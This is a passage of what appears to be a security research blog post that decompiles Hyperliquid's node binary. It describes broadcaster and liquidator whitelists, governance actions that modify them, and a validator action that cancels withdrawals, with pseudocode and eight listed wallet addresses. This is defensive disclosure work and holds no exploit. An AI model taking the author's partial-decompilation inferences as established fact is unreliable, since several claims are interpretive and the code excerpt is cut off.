&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;: &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 20-byte address (offset +0x20)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Three checks: broadcaster in whitelist, nonce valid, EIP-712 signature valid. Your cryptographically perfect transaction gets rejected at the protocol level if it doesn&amp;rsquo;t route through one of 8 mystery addresses; no public disclosure names the 8 wallets.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1e9b90ab34427807dc25c7266beb188e86af7ed6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x2d9d6ae54b069fd372401b71dc4843d85babe3ea&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x67e451964e0421f6e7d07be784f35c530667c2b3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x76d335fbd515969ed5facf98611ca6e3ba87ff01&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x90eaf322d6e39adbdca7b632ec2436719a99fcd0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x940e4f78cfb16e07e1e2ef0994e186bde7e6478c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0xf70a9d9a56fe5c75815a9eae6a8593bc59cb6a06&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0xffbb4dfc9455f0df2e973d7a371d8ad994264aa6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="the-liquidation-cartel"&gt;The Liquidation Cartel&lt;/h3&gt;
&lt;p&gt;Liquidations work the same way. The binary reveals &lt;code&gt;allowed_liquidators&lt;/code&gt;, a &lt;code&gt;HashSet&amp;lt;Address&amp;gt;&lt;/code&gt; in the Clearinghouse structure. Only whitelisted addresses can liquidate; attempting without membership hits &lt;code&gt;InvalidLiquidator&lt;/code&gt;. Global across perpetuals, and all margin types.&lt;/p&gt;
&lt;p&gt;Normal trades pay 2.5-5 basis points. Whitelist-only access eliminates competition and creates structural advantage for whitelisted liquidators. Two entities bypass the whitelist: &lt;code&gt;defaultLiquidator&lt;/code&gt; and &lt;code&gt;BackstopLiquidator&lt;/code&gt;. If a single entity controls both, it can delay at the whitelist tier and execute at worse prices via backstop.&lt;/p&gt;
&lt;h3 id="governance-control"&gt;Governance Control&lt;/h3&gt;
&lt;p&gt;Both whitelists are stored in runtime state and modifiable via governance actions. &lt;code&gt;VoteGlobalAction::ModifyBroadcaster&lt;/code&gt; (discriminant &lt;code&gt;0x26&lt;/code&gt;) takes a single 20-byte address as payload to modify the broadcaster whitelist. &lt;code&gt;VoteGlobalAction::UserCanLiquidate&lt;/code&gt; (discriminant &lt;code&gt;0x1C&lt;/code&gt;) does the same for liquidators.&lt;/p&gt;
&lt;p&gt;Both execute via the &lt;code&gt;VoteGlobalAction&lt;/code&gt; handler at &lt;code&gt;sub_1F36320&lt;/code&gt;. Analysis shows these handlers execute &lt;strong&gt;without per-action authorization checks&lt;/strong&gt; beyond the validator consensus vote. The threshold percentage is not visible in the binary; 2/3 is a common BFT default, but it&amp;rsquo;s not proven here; neither was a timelock observed, so modifications can execute at the next block after consensus.&lt;/p&gt;
&lt;p&gt;If any single entity controls ≥67% of voting power, they can unilaterally modify both whitelists at any block. No transparency mechanism for whitelist state changes.&lt;/p&gt;
&lt;h3 id="the-trust-model"&gt;The Trust Model&lt;/h3&gt;
&lt;p&gt;Hyperliquid combines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Permissioned access (whitelist only)&lt;/li&gt;
&lt;li&gt;Fee exemption (massive profit boost vs competitors)&lt;/li&gt;
&lt;li&gt;Validator co-location (first look at liquidatable positions)&lt;/li&gt;
&lt;li&gt;Governance control (can trigger liquidations via parameter changes)&lt;/li&gt;
&lt;li&gt;Concentrated governance (single entity can change whitelists if it reaches threshold)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The architecture creates a privileged MEV extraction position for insiders.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Liquidator Access&lt;/th&gt;
&lt;th&gt;Fee Structure&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Compound&lt;/td&gt;
&lt;td&gt;Permissionless (anyone)&lt;/td&gt;
&lt;td&gt;0% (liquidator keeps spread)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Aave&lt;/td&gt;
&lt;td&gt;Permissionless (anyone)&lt;/td&gt;
&lt;td&gt;0% (liquidator keeps spread)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dYdX v4&lt;/td&gt;
&lt;td&gt;Permissionless (validators)&lt;/td&gt;
&lt;td&gt;0% (validator profit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hyperliquid&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Whitelisted addresses&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0% for fwiends 💓&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="real-world-exercise"&gt;Real-World Exercise&lt;/h3&gt;
&lt;p&gt;On July 29, 2025, &lt;a href="https://crypto.news/hyperliquid-api-outage-causes-freeze-on-trading-hype-down-5/"&gt;Hyperliquid&amp;rsquo;s API servers collapsed&lt;/a&gt;: 27-37 minute freeze. Users couldn&amp;rsquo;t open or close trades, exit positions, or withdraw. Liquidations still execute at the protocol layer, so positions remain exposed during outages.&lt;/p&gt;
&lt;p&gt;Block production continued uninterrupted. The broadcaster monopoly meant users had no alternative access path. This repeated on &lt;a href="https://www.ainvest.com/news/hyperliquid-faces-37-minute-outage-api-servers-collapse-heavy-trading-2507/"&gt;July 23, 2025&lt;/a&gt;: 37 minutes of downtime.&lt;/p&gt;
&lt;p&gt;Optimism&amp;rsquo;s sequencer is centralized, but it&amp;rsquo;s an L2; force-include via Ethereum L1. Hyperliquid is an L1. If the 8 broadcasters censor you, there&amp;rsquo;s no higher authority.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="0x3-the-trapdoor"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; The Trapdoor&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Users can deposit instantly but may never withdraw. The code to freeze your assets exists. The code to unfreeze them does not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="cancelling-withdrawals"&gt;Cancelling Withdrawals&lt;/h3&gt;
&lt;p&gt;Validators can cancel pending withdrawals via &lt;code&gt;invalidateWithdrawals&lt;/code&gt; (case 7 at &lt;code&gt;sub_1F3634D&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="mi"&gt;7u&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;// invalidateWithdrawals
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Validate withdrawal count ≤ 10000
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Iterate over each withdrawal ID
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Lookup in bridge state at a3+11128
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;sub_1E3F170&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v477&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// STATE WRITE at 0x1f3ada9
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Bridge state writer at &lt;code&gt;sub_1E3F170&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;sub_1E3F170&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v10&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// withdrawal count
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// withdrawal array pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// array length
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;11136&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Bridge state base pointer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;11144&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Number of buckets
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Withdrawal ID (global index)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x2710uLL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Bucket index = ID / 10000
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v8&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;LOWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;312&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Error: bucket out of range
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;unwrap_failed&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Withdrawal index within bucket
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Calculate bucket address
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Modify withdrawal state in BTreeMap
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sub_2ABF640&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Next withdrawal (16-byte stride)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v4&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;BTreeMap mutation at &lt;code&gt;sub_2ABF640&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="kr"&gt;__fastcall&lt;/span&gt; &lt;span class="nf"&gt;sub_2ABF640&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_QWORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mh"&gt;0x2710&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Validate bucket
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v5&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v6&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;sub_121EFD0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;off_47EC130&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Panic: invalid withdrawal ID
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 48 bytes per withdrawal record
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// THE WRITE:
